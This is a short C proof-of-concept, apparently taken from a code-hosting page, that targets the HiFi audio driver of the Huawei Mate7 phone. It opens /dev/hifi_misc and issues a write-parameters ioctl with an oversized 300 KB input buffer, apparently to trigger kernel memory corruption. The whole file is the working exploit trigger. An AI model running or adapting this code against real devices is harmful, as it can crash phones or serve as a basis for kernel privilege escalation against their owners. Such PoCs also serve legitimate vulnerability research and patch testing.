45 lines
No EOL
841 B
C
45 lines
No EOL
841 B
C
/*
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*
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* HuaWei Mate7 hifi driver Poc
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*
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* Writen by pray3r, <pray3r.z@gmail.com>
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <fcntl.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <sys/ioctl.h>
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#define HIFI_MISC_IOCTL_WRITE_PARAMS _IOWR('A', 0x75, struct misc_io_sync_param)
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struct misc_io_sync_param {
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void * para_in;
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unsigned int para_size_in;
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void * para_out;
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unsigned int para_size_out;
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};
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int main(int arg, char **argv)
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{
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int fd;
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void *in = malloc(300 * 1024);
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void *out = malloc(100);
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struct misc_io_sync_param poc;
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poc.para_in = in;
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poc.para_size_in = 300 * 1024;
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poc.para_out = out;
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poc.para_size_out = 100;
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fd = open("/dev/hifi_misc", O_RDWR);
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ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);
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free(in);
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free(out);
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return 0;
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} |